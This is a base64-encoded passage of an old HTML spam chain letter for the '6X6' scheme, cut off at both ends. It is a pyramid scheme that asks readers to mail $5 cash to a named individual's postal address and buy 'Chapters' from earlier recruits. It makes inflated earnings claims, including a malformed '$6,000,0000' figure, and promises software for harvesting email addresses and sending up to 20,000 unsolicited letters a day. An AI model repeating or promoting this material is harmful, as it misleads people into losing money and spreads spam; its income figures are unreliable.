eSBmcm9tIGlXaW4gTG90dG8gLSBvbmUgb2YgdGhlIG1vc3QgcG9wdWxhciBjb21wYW5pZXMg
ZW5nYWdlZCBpbiBsb3R0by1idXNpbmVzcyBpbiB0aGUgV29ybGQsIHRoZSBtYWluIHByaXpl
IGlzICQ1LDAwMCwwMDAgKGl0IGlzIGFsc28gcGxheWVkIDUgcHJpemVzIG9uICQxLDAwMCww
MDAsIDEwMCBwcml6ZXMgb24gJDEwMCwwMDAgYW5kIG1vcmUgdGhhbiA1LDAwMCBicmFuZGVk
IFQtc2hpcnRzIGZyb20gNlg2IE1MTSBDb3JwLiwgZHJhd3MgYXJlIGNhcnJpZWQgb3V0IGV2
ZXJ5IG1vbnRoKSCWIGFzIG11Y2ggb3JkZXJzIFlvdSBnZXQgIG9uIENoYXB0ZXIjMSwgYXMg
bXVjaCAgY2hhbmNlcyB0byB3aW4gdGhlIG1haW4gcHJpemUuIERvIFlvdSBzZWU/ISEhIEFs
bCB0aGF0IGlzIHJlcXVpcmVkIG9mIFlvdSBpcyB0byBzZW5kIG1vcmUgYWR2ZXJ0aXNpbmcg
bGV0dGVycy4gQWxsIFlvdXIgd29yayB3aWxsIGJlIHRvIGdvIHRvIHRoZSBiYW5rIGZyb20g
dGltZSB0byB0aW1lIG9yIGNoZWNrIFlvdXIgbWFpbGJveCBmb3IgY2FzaCwgYW5kICBhdCBo
b21lLCBpbiBzaWxlbmNlIHRvIGNvdW50IHVwIGV2ZXJ5dGltZSBpbmNyZWFzaW5nIHByb2Zp
dCEgVGhlIGd1YXJhbnRvciBvZiBZb3VyIGRpenp5IHN1Y2Nlc3MgYW5kIHJlbGlhYmxlIGFs
bHkgYmVjb21lcyB0aGUgbW9zdCBncmFuZGlvc2UgaW4gdGhlIHdvcmxkIGNvbXB1dGVyIHN1
cGVycHJvZ3JhbSA2WDYhISE8YnI+Jm5ic3A7PHRyPjx0ZCBoZWlnaHQ9NDA+PHRyPjx0ZD48
Zm9udCBmYWNlPSJ2ZXJkYW5hIiBzaXplPSsxPjxjZW50ZXI+PGI+VEhFIENIQVBURVJTPGJy
PiZuYnNwOzx0cj48dGQgYmdjb2xvcj0jMDAwMDY2PiZuYnNwOzx0cj48dGQgYmdjb2xvcj0j
ZmZmZmNjPjxwPjxkaXYgYWxpZ249anVzdGlmeT48Zm9udCBmYWNlPXZlcmRhbmEgc2l6ZT0y
Pjxicj5UaGUgQ2hhcHRlcnMgYXJlIHRoZSBtb3N0IGRldGFpbGVkIGRlc2NyaXB0aW9uIG9m
IHRoZSBidXNpbmVzcyBzeXN0ZW0gNlg2LCB0aGV5IGFyZSBhZHZpY2VzIGFib3V0IHRoZSB3
YXkgdG8gb3B0aW1pemUgdGhlIHdvcmsgd2l0aCB0aGUgc3lzdGVtIGFuZCBhZGp1c3QgdGhl
IGNvbXB1dGVyIGZvciBpdC4gSGF2aW5nIHJlYWQgdGhlbSBZb3Ugd2lsbCB1bmRlcnN0YW5k
IGhvdyB0byBpbXByb3ZlIGEgY29ubmVjdGlvbiB3aXRoIHRoZSBJbnRlcm5ldCwgaG93IHRv
IGZpbmQgNSwwMDAgdG8gMjAsMDAwIGUtbWFpbCBhZGRyZXNzZXMgcGVyIGRheSwgdG8gc29y
dCB0aGVtLCB0byBzZW5kIDUsMDAwIHRvIDIwLDAwMCBhZHZlcnRpc2luZyBsZXR0ZXJzIHBl
ciBkYXksIGhvdyB0byBpbmNyZWFzZSBwcm9kdWN0aXZpdHkgb2YgdGhlIGNvbXB1dGVyIG9u
IDUwJSBhbmQgbWFueSBvdGhlcnMgaW50ZXJlc3RpbmcgdGhpbmdzLCBub3QgYXBwbHlpbmcg
c3BlY2lhbCBlZmZvcnRzLjxwPlRoZSBDaGFwdGVycyBhcmUgd3JpdHRlbiBpbiBsYW5ndWFn
ZSB0aGF0IGlzIGNsZWFyIGZvciB0aGUgdXNlcnMgb2YgYW55IGxldmVscywgdGhlcmVmb3Jl
IGZvciB3b3JraW5nIHdpdGggdGhlIGJ1c2luZXNzIHN5c3RlbSA2WDYgWW91IGRvbid0IG5l
ZWQgdG8gYmUgYSBwcm9ncmFtbWVyIG9yIGV2ZW4gaGF2ZSBjb21wdXRlciBleHBlcmllbmNl
LiBNb3Jlb3ZlciwgaWYgWW91IGhhdmUgYmVndW4gdG8gd29yayB3aXRoIHRoZSBjb21wdXRl
ciBqdXN0IHllc3RlcmRheSBhbmQgZG9uJ3Qga25vdyBhbnl0aGluZyBhYm91dCBpdCwgWW91
IHNob3VsZCByZWFkIGF0dGVudGl2ZWx5IHRoZSBDaGFwdGVycyBhbmQgd29yayBzb21lIHRp
bWUgd2l0aCB0aGUgYnVzaW5lc3Mgc3lzdGVtIDZYNi4gVGh1cyBZb3Ugd2lsbCBzb29uIGJl
Y29tZSBhbiBhZHZhbmNlZCB1c2VyIHdobyBrbm93cyBldmVyeXRoaW5nIGFib3V0IFdpbmRv
d3MgYW5kIHRoZSBJbnRlcm5ldC4gSW4gYWRkaXRpb24gWW91IGFsc28gZ2V0IHRoZSBzcGVj
aWFsIHNvZnR3YXJlIHdpdGggZWFjaCBDaGFwdGVyIHRoYXQgaXMgbmVjZXNzYXJ5IGZvciB3
b3JrIGFuZCBjZXJ0YWluIGFtb3VudCBvZiBlLW1haWwgYWRkcmVzc2VzLjxibG9ja3F1b3Rl
PjxibG9ja3F1b3RlPjxibG9ja3F1b3RlPjxwPjxiPlRoZSBsaXN0IG9mIHRoZSBDaGFwdGVy
czo8L2I+PC9ibG9ja3F1b3RlPjxwPjxiPkNoYXB0ZXIjMTwvYj4gk0ludHJvZHVjdGlvbiB0
byBidXNpbmVzcyBzeXN0ZW0gNtU2LiBPcHRpbWl6YXRpb24gb2YgdGhlIEludGVybmV0IGNv
bm5lY3Rpb24uIEhvdyB0byB1c2UgdGhlIEludGVybmV0IG11Y2ggbW9yZSBlZmZlY3RpdmVs
eS6UPHA+PGk+KzIwLDAwMCBlLW1haWxzPGJyPitzb2Z0d2FyZSBmb3IgYXV0b21hdGljIHJl
Y29ubmVjdGluZyB0byB0aGUgSW50ZXJuZXQgYW5kIGl0cyBjb21wbGV0ZSBkZXNjcmlwdGlv
bi48L2k+PHA+PGI+Q2hhcHRlciMyPC9iPiCTSG93IHRvIGZpbmQgNSwwMDAgdG8gMjAsMDAw
IGUtbWFpbHMgcGVyIGRheSwgd29ya2luZyBhYm91dCAzMC00MCBtaW51dGVzLpQ8cD48aT4r
MTAsMDAwIGUtbWFpbHM8YnI+K3NvZnR3YXJlIGZvciBhdXRvbWF0aWMgaW5jbHVzaW9uL2Rl
ZW5lcmdpemluZyBvZiB0aGUgcHJvZ3JhbSBmb3IgZS1tYWlscyBzZWFyY2hpbmcgYXQgY29u
bmVjdGlvbi9icmVhayBvZiBjb25uZWN0aW9uIHdpdGggdGhlIEludGVybmV0IGRlc2NyaWJl
ZCBpbiB0aGUgcHJldmlvdXMgQ2hhcHRlci48L2k+PHA+PGI+Q2hhcHRlciMzPC9iPiCTSG93
IHRvIHNvcnQgZS1tYWlscy6UPHA+PGk+KzEwLDAwMCBlLW1haWxzPGJyPitzb2Z0d2FyZSBm
b3IgYXV0b21hdGljIGUtbWFpbHMgc2VhcmNoaW5nIGRlc2NyaWJlZCBpbiB0aGUgcHJldmlv
dXMgQ2hhcHRlci48L2k+PHA+PGI+Q2hhcHRlciM0PC9iPiCTSG93IHRvIHNlbmQgNSwwMDAg
dG8gMjAsMDAwIHRob3VzYW5kIGFkdmVydGlzaW5nIGxldHRlcnMgcGVyIGRheSwgd29ya2lu
ZyB0aGUgc2FtZSAzMC00MCBtaW51dGVzLpQ8cD48aT4rMTAsMDAwIGUtbWFpbHM8YnI+K3Nv
ZnR3YXJlIGZvciBmYXN0IGUtbWFpbHMgc29ydGluZyBkZXNjcmliZWQgaW4gdGhlIHByZXZp
b3VzIENoYXB0ZXIuPC9pPjxwPjxiPkNoYXB0ZXIjNTwvYj4gk1RoZSBtb3N0IGVmZmVjdGl2
ZSBhbGdvcml0aG0gb2YgdGhlIHdvcmsgd2l0aCB0aGUgYnVzaW5lc3Mgc3lzdGVtIDZYNi6U
PHA+PGk+KzgwLDAwMCBlLW1haWxzICghKTxicj4rc29mdHdhcmUgZm9yIGF1dG9tYXRpYyBz
ZW5kaW5nIGEgaHVnZSBhbW91bnQgb2YgdGhlIGFkdmVydGlzaW5nIGxldHRlcnMgd2l0aCBh
dHRhY2htZW50cyBkZXNjcmliZWQgaW4gdGhlIHByZXZpb3VzIENoYXB0ZXIuPC9pPjxwPjxi
PkNoYXB0ZXIjNjwvYj4gk09wdGltaXplIFlvdXIgY29tcHV0ZXIsIHJhaXNlIGl0cyBwcm9k
dWN0aXZpdHkgb24gNTAlLpQ8cD48aT4rMTAwLDAwMCBlLW1haWxzICghKTxicj4rdGhlIHNl
cnZlciBwYXJ0IG9mIHRoZSBzb2Z0d2FyZSBmb3IgYXV0b21hdGljIHNlbmRpbmcgYSBodWdl
IGFtb3VudCBvZiB0aGUgYWR2ZXJ0aXNpbmcgbGV0dGVycyB3aXRoIGF0dGFjaG1lbnRzLjwv
YmxvY2txdW90ZT48L2Jsb2NrcXVvdGU+PHRyPjx0ZCBoZWlnaHQ9NDA+PHRyPjx0ZD48Zm9u
dCBmYWNlPSJ2ZXJkYW5hIiBzaXplPSsxPjxjZW50ZXI+PGI+VEhFIFJVTEVTIE9GIFRIRSBQ
QVJUSUNJUEFUSU9OIElOIFRIRSBCVVNJTkVTUyBTWVNURU0gNlg2PGJyPiZuYnNwOzx0cj48
dGQgYmdjb2xvcj0jMDAwMDY2PiZuYnNwOzx0cj48dGQ+PHA+PGZvbnQgZmFjZT12ZXJkYW5h
IHNpemU9Mj48YnI+PGJsb2NrcXVvdGU+PGJsb2NrcXVvdGU+PGJsb2NrcXVvdGU+PGI+VGhl
IHRlcm1zOjwvYj48L2Jsb2NrcXVvdGU+PC9ibG9ja3F1b3RlPjxwPjxiPlRoZSBtYXN0ZXI8
L2I+IJYgSWdvciBUaWNodGNoZW5rb3YsIHRoZSBmb3VuZGVyIG9mIHRoZSBidXNpbmVzcyBz
eXN0ZW07PHA+PGI+cmVmZXJyZXI8L2I+IJYgdGhlIHBhcnRpY2lwYW50IG9mIDZYNiBmcm9t
IHRoYXQgWW91IGhhdmUgcmVjZWl2ZWQgdGhpcyBhZHZlcnRpc2luZyBsZXR0ZXIgYW5kIHNo
b3VsZCBvcmRlciB0aGUgQ2hhcHRlcjs8cD48Yj5jbGllbnQ8L2I+IJYgdGhlIG93bmVyIG9m
IGUtbWFpbCBhZGRyZXNzIHdoZXJlIFlvdSBzZW5kIHRoZSBhZHZlcnRpc2luZyBsZXR0ZXI7
PHA+PGI+cmVmZXJyYWw8L2I+IJYgdGhlIHBhcnRpY2lwYW50IG9mIDZYNiB3aG8gaGFzIG9y
ZGVyZWQgZnJvbSBZb3UgdGhlIENoYXB0ZXIuPC9ibG9ja3F1b3RlPjx0cj48dGQgaGVpZ2h0
PTMwPjx0cj48dGQ+PGZvbnQgZmFjZT0idmVyZGFuYSIgc2l6ZT0rMT48Y2VudGVyPjxiPkhv
dyBkb2VzIHRoZSBidXNpbmVzcyBzeXN0ZW0gNlg2IHdvcms8YnI+Jm5ic3A7PHRyPjx0ZCBi
Z2NvbG9yPSMwMDAwNjY+Jm5ic3A7PHRyPjx0ZCBiZ2NvbG9yPSNmZmZmY2M+PHA+PGRpdiBh
bGlnbj1qdXN0aWZ5Pjxmb250IGZhY2U9dmVyZGFuYSBzaXplPTI+PGJyPlRoZSBmb2xsb3dp
bmcgc3lzdGVtIHdhcyBkZXZlbG9wZWQgdG8gZWFybiBub3Qgb25seSBmcm9tIHRoZSBkaXJl
Y3Qgc2FsZXMgKGkuZS4gd2hlbiBZb3Ugc2VsbCB0aGUgQ2hhcHRlciMxIHRvIFlvdXIgcmVm
ZXJyYWxzKSBidXQgYWxzbyBmcm9tIHRoZSBzYWxlcyBvZiB0aGUgcmVmZXJyYWxzIChpLmUu
IHdoZW4gWW91ciByZWZlcnJhbHMgYnJpbmcgdG8gWW91IGJ1eWVycyBvbiBDaGFwdGVyIzIg
LSBDaGFwdGVyIzYpLiBUaGVyZSBpcyBhIGZvbGxvd2luZyB0YWJsZSAoc28tY2FsbGVkIHRo
ZSBidXNpbmVzcyB0YWJsZSkgaW4gdGhlIGFkdmVydGlzaW5nIGxldHRlcjo8YmxvY2txdW90
ZT48YmxvY2txdW90ZT48YmxvY2txdW90ZT48cD5DaGFwdGVyIzEuLi4uLi4uLi4uLi4uLi5y
ZWZlcnJlciBuci4xPGJyPkNoYXB0ZXIjMi4uLi4uLi4uLi4uLi4uLnJlZmVycmVyIG5yLjI8
YnI+Q2hhcHRlciMzLi4uLi4uLi4uLi4uLi4ucmVmZXJyZXIgbnIuMzxicj5DaGFwdGVyIzQu
Li4uLi4uLi4uLi4uLi5yZWZlcnJlciBuci40PGJyPkNoYXB0ZXIjNS4uLi4uLi4uLi4uLi4u
LnJlZmVycmVyIG5yLjU8YnI+Q2hhcHRlciM2Li4uLi4uLi4uLi4uLi4ucmVmZXJyZXIgbnIu
NjwvYmxvY2txdW90ZT48L2Jsb2NrcXVvdGU+PHA+T3Bwb3NpdGUgdG8gZWFjaCBDaGFwdGVy
IHRoZXJlIGlzIHRoZSBlc3NlbnRpYWwgZWxlbWVudHMgb2YgZGlmZmVyZW50IHBhcnRpY2lw
YW50cywgaS5lLiBZb3Ugd2lsbCBidXkgdGhlIENoYXB0ZXIjMSBmcm9tIHJlZmVycmVyIG5y
LjEsIENoYXB0ZXIjMiBmcm9tIHJlZmVycmVyIG5yLjIsIENoYXB0ZXIjMyBmcm9tIHJlZmVy
cmVyIG5yLjMsIENoYXB0ZXIjNCBmcm9tIHJlZmVycmVyIG5yLjQsIENoYXB0ZXIjNSBmcm9t
IHJlZmVycmVyIG5yLjUsIENoYXB0ZXIjNiBmcm9tIHJlZmVycmVyIG5yLjYuIFdoZW4gWW91
IHdpbGwgYmUgcmVnaXN0ZXJlZCBZb3UnbGwgcmVjZWl2ZSB0aGUgYWR2ZXJ0aXNpbmcgbGV0
dGVyIHdpdGggdGhlIGJ1c2luZXNzIHRhYmxlIGNoYW5nZWQgYXMgZm9sbG93czo8YmxvY2tx
dW90ZT48YmxvY2txdW90ZT48cD5DaGFwdGVyIzEuLi4uLi4uLi4uLi4uLi5Zb3U8YnI+Q2hh
cHRlciMyLi4uLi4uLi4uLi4uLi4ucmVmZXJyZXIgbnIuMTxicj5DaGFwdGVyIzMuLi4uLi4u
Li4uLi4uLi5yZWZlcnJlciBuci4yPGJyPkNoYXB0ZXIjNC4uLi4uLi4uLi4uLi4uLnJlZmVy
cmVyIG5yLjM8YnI+Q2hhcHRlciM1Li4uLi4uLi4uLi4uLi4ucmVmZXJyZXIgbnIuNDxicj5D
aGFwdGVyIzYuLi4uLi4uLi4uLi4uLi5yZWZlcnJlciBuci41PC9ibG9ja3F1b3RlPjwvYmxv
Y2txdW90ZT48cD5UaGVuIFlvdSBiZWdpbiB0byBzZW5kIHRoZSBhZHZlcnRpc2luZyBsZXR0
ZXIgd2l0aCBzdWNoIGJ1c2luZXNzIHRhYmxlLiBJLmUuIFlvdXIgcmVmZXJyYWxzIHdpbGwg
YnV5IHRoZSBDaGFwdGVyIzEgZnJvbSBZb3UsIENoYXB0ZXIjMiBmcm9tIHJlZmVycmVyIG5y
LjEsIENoYXB0ZXIjMyBmcm9tIHJlZmVycmVyIG5yLjIsIENoYXB0ZXIjNCBmcm9tIHJlZmVy
cmVyIG5yLjMsIENoYXB0ZXIjNSBmcm9tIHJlZmVycmVyIG5yLjQsIENoYXB0ZXIjNiBmcm9t
IHJlZmVycmVyIG5yLjUuIFlvdXIgcmVmZXJyYWxzIG5yLjEgKHRoZXkgd2hvIHdpbGwgYnV5
IENoYXB0ZXIjMSBmcm9tIFlvdSkgd2lsbCBnZXQgc2ltaWxhcmx5IHRyYW5zZm9ybWVkIGJ1
c2luZXNzIHRhYmxlOjxibG9ja3F1b3RlPjxibG9ja3F1b3RlPjxwPkNoYXB0ZXIjMS4uLi4u
Li4uLi4uLi4uLnJlZmVycmFsIG5yLjE8YnI+Q2hhcHRlciMyLi4uLi4uLi4uLi4uLi4uWW91
PGJyPkNoYXB0ZXIjMy4uLi4uLi4uLi4uLi4uLnJlZmVycmVyIG5yLjE8YnI+Q2hhcHRlciM0
Li4uLi4uLi4uLi4uLi4ucmVmZXJyZXIgbnIuMjxicj5DaGFwdGVyIzUuLi4uLi4uLi4uLi4u
Li5yZWZlcnJlciBuci4zPGJyPkNoYXB0ZXIjNi4uLi4uLi4uLi4uLi4uLnJlZmVycmVyIG5y
LjQ8L2Jsb2NrcXVvdGU+PC9ibG9ja3F1b3RlPjxwPlRoZW4gdGhleSBiZWdpbiB0byBzZW5k
IHRoZSBhZHZlcnRpc2luZyBsZXR0ZXIgd2l0aCBzdWNoIGJ1c2luZXNzIHRhYmxlLiBJLmUu
IHRoZWlyIHJlZmVycmFscyBuci4xIChZb3VyIHJlZmVycmFscyBuci4yKSB3aWxsIGJ1eSB0
aGUgQ2hhcHRlciMxIGZyb20gdGhlbSAoZnJvbSBZb3VyIHJlZmVycmFscyBuci4xKSwgQ2hh
cHRlciMyIGZyb20gWW91LCBDaGFwdGVyIzMgZnJvbSByZWZlcnJlciBuci4xLCBDaGFwdGVy
IzQgZnJvbSByZWZlcnJlciBuci4yLCBDaGFwdGVyIzUgZnJvbSByZWZlcnJlciBuci4zLCBD
aGFwdGVyIzYgZnJvbSByZWZlcnJlciBuci40LiBBbmQgZXRjLi4uPHA+PGZvbnQgY29sb3I9
IzAwMDA2Nj5UaHVzIFlvdXIgcmVmZXJyYWxzIGludm9sdmUgdGhlIGNsaWVudHMgdG8gdGhl
IENoYXB0ZXIjMSBmb3IgdGhlbXNlbHZlcyBhbmQgYWxzbyBpbnZvbHZlIHRoZSBjbGllbnRz
IHRvIHRoZSBvdGhlciBDaGFwdGVycyBmb3IgWW91LiBUaGF0IG1lYW5zIHRoYXQgYSBkaXJl
Y3QgdGFzayBvZiBlYWNoIHBhcnRpY2lwYW50IG9mIGJ1c2luZXNzIHN5c3RlbSA2WDYgLSB0
byBnZXQgYXMgbW9yZSBhcyBwb3NzaWJsZSBvcmRlcnMgZm9yIENoYXB0ZXIjMS48cD5MZXQn
cyBqdXN0IGNvdW50IHVwIGhvdyBtdWNoIG1vbmV5IFlvdSB3aWxsIGVhcm4gaWYgZWFjaCBw
YXJ0aWNpcGFudCBpbnZvbHZlcyAxMCByZWZlcnJhbHMgbnIuMTo8YmxvY2txdW90ZT48cD48
ZGl2IGFsaWduPWxlZnQ+PGZvbnQgY29sb3I9cmVkPllvdS4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4xMCBYICQ2ID0gJDYwPGJyPllvdXIgcmVmZXJyYWxzIG5yLjEuLi4xMCBYIDEwIFggJDYg
PSAkNjAwPGJyPllvdXIgcmVmZXJyYWxzIG5yLjIuLi4xMCBYIDEwIFggMTAgWCAkNiA9ICQ2
LDAwMDxicj5Zb3VyIHJlZmVycmFscyBuci4zLi4uMTAgWCAxMCBYIDEwIFggMTAgWCAkNiA9
ICQ2MCwwMDA8YnI+WW91ciByZWZlcnJhbHMgbnIuNC4uLjEwIFggMTAgWCAxMCBYIDEwIFgg
MTAgWCAkNiA9ICQ2MDAsMDAwPGJyPllvdXIgcmVmZXJyYWxzIG5yLjUuLi4xMCBYIDEwIFgg
MTAgWCAxMCBYIDEwIFggMTAgWCAkNiA9ICQ2LDAwMCwwMDAwPHA+PGI+VG90YWwgWW91IHdp
bGwgZWFybiAkNiw2NjYsNjYwITwvYj48L2Jsb2NrcXVvdGU+PHA+PGZvbnQgY29sb3I9IzAw
MDA2Nj5UaGUgZmlndXJlIGlzIG5vdCBzbWFsbCBhbmQgdGhlcmVmb3JlIFlvdSBtYXkgaGF2
ZSBkb3VidHMuIC0gVHJ5IHRvIGZpZ3VyZSBZb3Vyc2VsZiBhbmQgWW91J2xsIGdldCB0aGUg
c2FtZSByZXN1bHQhPC9ibG9ja3F1b3RlPjx0cj48dGQgaGVpZ2h0PTQwPjx0cj48dGQ+PGZv
bnQgZmFjZT0idmVyZGFuYSIgc2l6ZT0rMT48Y2VudGVyPjxiPlByb3RlY3Rpb24gYWdhaW5z
dCB0aGUgZnJhdWQ8YnI+Jm5ic3A7PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwNjY+Jm5ic3A7PHRy
Pjx0ZCBiZ2NvbG9yPSNmZmZmY2M+PHA+PGRpdiBhbGlnbj1qdXN0aWZ5Pjxmb250IGZhY2U9
dmVyZGFuYSBzaXplPTI+PGJyPlRoZSBmb2xsb3dpbmcgcHJvdGVjdGlvbiB3YXMgZGV2ZWxv
cGVkIHRvIGV4Y2x1ZGUgYnJlYWtpbmcgb2YgdGhlIHN5c3RlbS48YmxvY2txdW90ZT48cD5J
biB0aGUgYWR2ZXJ0aXNpbmcgbGV0dGVyIHRoZXJlIGlzIHN1Y2ggYnVzaW5lc3MgdGFibGU6
PGJsb2NrcXVvdGU+PHA+Q2hhcHRlciMxLi4uLi4uLi4uLi4uLi4ucmVnLiBuci4gb2YgdGhl
IDFzdCByZWZlcnJlcjxicj5DaGFwdGVyIzIuLi4uLi4uLi4uLi4uLi5yZWcuIG5yLiBvZiB0
aGUgMm5kIHJlZmVycmVyPGJyPkNoYXB0ZXIjMy4uLi4uLi4uLi4uLi4uLnJlZy4gbnIuIG9m
IHRoZSAzcmQgcmVmZXJyZXI8YnI+Q2hhcHRlciM0Li4uLi4uLi4uLi4uLi4ucmVnLiBuci4g
b2YgdGhlIDR0aCByZWZlcnJlcjxicj5DaGFwdGVyIzUuLi4uLi4uLi4uLi4uLi5yZWcuIG5y
LiBvZiB0aGUgNXRoIHJlZmVycmVyPGJyPkNoYXB0ZXIjNi4uLi4uLi4uLi4uLi4uLnJlZy4g
bnIuIG9mIHRoZSA2dGggcmVmZXJyZXI8L2Jsb2NrcXVvdGU+PHA+VGhlIGNsaWVudCB3aG8g
aGFzIHJlY2VpdmVkIHRoaXMgYWR2ZXJ0aXNpbmcgbGV0dGVyIGtub3dzIG9ubHkgcmVnaXN0
cmF0aW9uIG51bWJlcnMgb2YgdGhlIHJlZmVycmVycyBmcm9tIHRoYXQgaGUgbXVzdCBidXkg
dGhlIENoYXB0ZXJzLiBIZSBjYW4ndCBidXkgYWxsIHRoZWlyIENoYXB0ZXJzIGRpcmVjdGx5
IGJlY2F1c2UgaGUgZG9lc24ndCBrbm93IHRoZWlyIHJlcXVpc2l0aW9ucy48cD5GdXJ0aGVy
IGhlIHJlZ2lzdGVycyBhdCB0aGUgbWFpbiBvZmZpY2Ugb2YgNlg2IE1MTSBDb3Jwb3JhdGlv
biBhbmQgZ2V0czo8YmxvY2txdW90ZT48cD4xKSBIaXMgcmVnaXN0cmF0aW9uIG51bWJlcjs8
cD4yKSBBZGRyZXNzZXMgYW5kIGJhbmsgYWNjb3VudHMgb2YgYWxsIHJlZmVycmVycyBhdCB0
aGF0IGhlIG11c3QgYnV5IHRoZSBDaGFwdGVyczs8cD4zKSBUaGUgYWR2ZXJ0aXNpbmcgbGV0
dGVyIHdpdGggdGhlIGNoYW5nZWQgYnVzaW5lc3MgdGFibGUgbGlrZXMgdGhhdDo8cD5DaGFw
dGVyIzEuLi4uLi4uLi4uLi4uLi5IaXMgcmVnLiBuci48YnI+Q2hhcHRlciMyLi4uLi4uLi4u
Li4uLi4ucmVnLiBuci4gb2YgdGhlIDFzdCByZWZlcnJlcjxicj5DaGFwdGVyIzMuLi4uLi4u
Li4uLi4uLi5yZWcuIG5yLiBvZiB0aGUgMm5kIHJlZmVycmVyPGJyPkNoYXB0ZXIjNC4uLi4u
Li4uLi4uLi4uLnJlZy4gbnIuIG9mIHRoZSAzcmQgcmVmZXJyZXI8YnI+Q2hhcHRlciM1Li4u
Li4uLi4uLi4uLi4ucmVnLiBuci4gb2YgdGhlIDR0aCByZWZlcnJlcjxicj5DaGFwdGVyIzYu
Li4uLi4uLi4uLi4uLi5yZWcuIG5yLiBvZiB0aGUgNXRoIHJlZmVycmVyPC9ibG9ja3F1b3Rl
PjxwPmJ1eXMgYWxsIG9mIHRoZSBDaGFwdGVycyBhbmQgYmVnaW5zIHRvIHNlbmQgdGhpcyBs
ZXR0ZXIuPC9ibG9ja3F1b3RlPjxwPjxmb250IGNvbG9yPSMwMDAwNjY+RHVlIHRvIHRoaXMg
cHJvdGVjdGlvbiBoZSBjYW4ndCBzdG9wIHRoZSBwcm9jZXNzIGFuZCBsZWF2ZSB0aGVpciBv
d24gcmVmZXJyZXJzIHdpdGhvdXQgdGhlaXIgcHJvZml0LiBUaGUgcHJvY2VzcyBjYW4gYmUg
c3RvcHBlZCBvbmx5IGlmIHRoZWlyIHJlcXVpc2l0aW9ucyB3aWxsIG5vdCBiZSBpbiB0aGUg
YnVzaW5lc3MgdGFibGUuIEl0IGlzIHBvc3NpYmxlIG9ubHkgaWYgaGUgd2lsbCByZXBsYWNl
IHJlcXVpc2l0aW9ucyBvZiBhbGwgZml2ZSByZWZlcnJlcnMgd2l0aCBoaXMgcmVxdWlzaXRp
b3MuIEJ1dCBoZSBjYW4ndCBkbyB0aGF0IGJlY2F1c2UgZm9yIHRoaXMgcHVycG9zZSBpdCB3
aWxsIGNvbWUgdG8gcmVnaXN0ZXIgNiB0aW1lcywgd2hlcmVhcyBpdCBpcyBwb3NzaWJsZSB0
byByZWdpc3RlciBvbmx5IG9uY2UuPGJyPiZuYnNwOzx0cj48dGQgaGVpZ2h0PTYwPjx0cj48
dGQ+PGZvbnQgZmFjZT0idmVyZGFuYSIgc2l6ZT0rMT48Y2VudGVyPjxiPkFSRSBZT1UgUkVB
RFkgVE8gU1RBUlQgV0lUSCBUSEUgQlVTSU5FU1MgU1lTVEVNIDZYNiEgTEVUJ1MgU1RBUlQh
PGJyPiZuYnNwOzx0cj48dGQgYmdjb2xvcj0jMDAwMDY2PiZuYnNwOzx0cj48dGQgYmdjb2xv
cj0jZmZmZmNjPjxwIGFsaWduPWp1c3RpZnk+PGZvbnQgZmFjZT12ZXJkYW5hIHNpemU9MiBj
b2xvcj1yZWQ+PGJyPjxibG9ja3F1b3RlPjxiPkF0dGVudGlvbiEgVGhlcmUgaXMgYW4gZW5v
cm1vdXMgYW1vdW50IG9mIHJlZmVycmFscyB3aG8gZW50ZXIgdGhlIGJ1c2luZXNzIHN5c3Rl
bSA2WDYgYW5kIHRoYXQncyB3aHkgZnJvbSB0aGUgMXN0IG9mIFNlcHRlbWJlciAyMDAwIHRo
ZSByZWdpc3RyYXRpb24gY29zdHMgJDUuPC9iPjxmb250IGNvbG9yPSMwMDAwNjY+PGJsb2Nr
cXVvdGU+PGJsb2NrcXVvdGU+PHA+PGZvbnQgY29sb3I9IzAwMDA2Nj48Yj5XSEFUIFlPVSBO
RUVEIFRPIERPOjwvYj48L2Jsb2NrcXVvdGU+PC9ibG9ja3F1b3RlPjxwPjxiPmEpIFJlZ2lz
dGVyIGF0IHRoZSBtYWluIG9mZmljZSBvZiA2WDYgTUxNIENvcnBvcmF0aW9uOjwvYj48cD4x
KSBXcml0ZSBvbiBhIHNoZWV0IG9mIHBhcGVyOjxibG9ja3F1b3RlPjxwPjEpIFlvdXIgbmFt
ZTs8YnI+MikgWW91ciBwb3N0YWwgYWRkcmVzcyBmb3IgcGF5bWVudDs8YnI+MykgWW91ciBi
YW5rIGFjY291bnQgZm9yIHBheW1lbnQgPGk+KG9wdGlvbmFsKTwvaT47PGJyPjQpIFlvdXIg
ZS1tYWlsIC0gd3JpdGUgbGVnaWJseSBhbmQgdXNlIGl0IG9ubHkgZm9yIGNvbW11bmljYXRp
b24gd2l0aCB0aGUgbWFpbiBvZmZpY2U7PGJyPjUpIFRoZSBidXNpbmVzcyB0YWJsZSB3aGlj
aCBpcyBiZWxvdzs8YnI+NikgVGhlIGRhdGUuPC9ibG9ja3F1b3RlPjxwPjIpIFB1dCAkNSBp
biB0aGlzIHNoZWV0IG9mIHBhcGVyIGFuZCBzZW5kIGJ5IHRoZSA8Yj5maXJzdCBjbGFzcyBt
YWlsPC9iPiB0byB0aGUgNng2IE1MTSBDb3Jwb3JhdGlvbidzIG1haW4gb2ZmaWNlOjxibG9j
a3F1b3RlPjxwPjxiPklnb3IgVGljaHRjaGVua292LCBMYWFuZW1lcmUgMjAtOTYsIDEzOTEz
IFRhbGxpbm4sIEVzdG9uaWEuPC9iPjwvYmxvY2txdW90ZT48cD4zKSBXaXRoaW4gb25lIHdl
ZWsgWW91J2xsIHJlY2VpdmUgKHZpYSBlLW1haWwgWW91IGhhdmUgd3JpdHRlbiBpbiB0aGUg
cmVnaXN0cmF0aW9uIGZvcm0pIHRoZSBsZXR0ZXIgY29udGFpbmluZzo8YmxvY2txdW90ZT48
cD4xKSBZb3VyIHJlZ2lzdHJhdGlvbiBudW1iZXI7PGJyPjIpIEFkZHJlc3NlcyBvZiB0aGUg
cmVmZXJyZXJzIGZyb20gdGhhdCBZb3Ugc2hvdWxkIGJ1eSB0aGUgQ2hhcHRlcnM7PGJyPjMp
IFRoZSBhZHZlcnRpc2luZyBsZXR0ZXIgd2l0aCBZb3VyIHJlZ2lzdHJhdGlvbiBudW1iZXIg
Zm9yIG1haWxpbmc7PGJyPjQpIFRoZSBpbnN0cnVjdGlvbnMgdGhhdCBpcyBuZWNlc3Nhcnkg
Zm9yIGJlZ2lubmluZy48L2Jsb2NrcXVvdGU+PHA+PGI+YikgQnV5IGFsbCBvZiB0aGUgQ2hh
